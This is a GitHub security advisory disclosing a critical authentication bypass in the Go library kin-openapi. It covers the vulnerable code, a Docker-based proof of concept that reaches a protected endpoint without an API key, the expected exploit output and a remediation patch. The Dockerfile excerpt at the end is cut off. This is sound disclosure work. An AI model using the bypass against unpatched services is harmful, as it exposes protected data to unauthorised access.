GitHub Advisoryadvisory · Go
GHSA-r277-6w6q-xmqw kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default
CRITICAL
Official page ↗
- Ecosystem
- Go
- Packages
- github.com/getkin/kin-openapi
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-287
- Reviewed
- 2026-07-24
Affected packages
• Go github.com/getkin/kin-openapi: < 0.144.0 → fixed in 0.144.0
Description
Summary
`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware.
Details
`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:
```go
// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
h.AuthenticationFunc = NoopAuthenticationFunc
}
```
`NoopAuthenticationFunc` is defined as:
```go
// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }
```
It always returns `nil`, meaning every security scheme check it handles is automatically approved.
When a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:
```go
// openapi3filter/validation_handler.go:91-103
options := &Options{
AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
Request: r,
PathParams: pathParams,
Route: route,
Options: options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
return err
}
```
Inside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:
```go
// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
return ErrAuthenticationServiceMissing // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
return err
}
```
Because `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).
The critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.
Affected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).
PoC
Environment
```
Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)
```
Step 1 — Build the Docker image
From the repository root (parent of `vuln-001/`):
```bash
docker build \
-t vuln001-auth-bypass-poc \
-f vuln-001/Dockerfile \
reports/github_web_233_getkin__kin-openapi
```
The `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.
Step 2 — Run the container
```bash
docker run --rm --network none vuln001-auth-bypass-poc
```
Step 3 (alternative) — Use the Python helper
```bash
python3 vuln-001/poc.py --no-cleanup
```
What the PoC does
`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:
```yaml
paths:
/secret:
get:
security:
• apiKey: []
components:
securitySchemes:
apiKey:
type: apiKey
name: X-Api-Key
in: header
```
It then constructs a `ValidationHandler` without setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:
```http
GET /secret HTTP/1.1
Host: example.test
X-Api-Key header is intentionally absent
```
Expected (vulnerable) output
```
=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
-> Fail-CLOSED behavior confirmed: missing auth function is rejected
=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
ValidationHandler.AuthenticationFunc: NOT SET (nil)
Load() will inject NoopAuthenticationFunc, which always returns nil
Request: GET /secret (X-Api-Key header: absent)
Response: status=200 body="SECRET_DATA\n"
[EXPLOIT SUCCESS] Auth bypass confirmed!
Protected resource /secret returned SECRET_DATA without credentials.
ValidationHandler.Load() silently injected NoopAuthenticationFunc.
Security requirement was bypassed. VULN-001 REPRODUCED.
```
The contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.
Remediation patch
```diff
--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
if h.Handler == nil {
h.Handler = http.DefaultServeMux
}
• if h.AuthenticationFunc == nil {
• h.AuthenticationFunc = NoopAuthenticationFunc
• }
if h.ErrorEncoder == nil {
h.ErrorEncoder = DefaultErrorEncoder
}
```
After this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.
Impact
This is an authentication bypass vulnerability (CWE-287). Any application that:
1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and
2. declares one or more `security` requirements in its OpenAPI specification, and
3. does not explicitly set `AuthenticationFunc`,
is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.
Affected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.
The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM golang:1.25-alpine
Install git (needed by go mod for some packages)
RUN apk add --no-cache git
WORKDIR /workspace
Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/
Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc
Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod /kin-openapi
EOF
Copy the PoC source (build conte…
Related
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness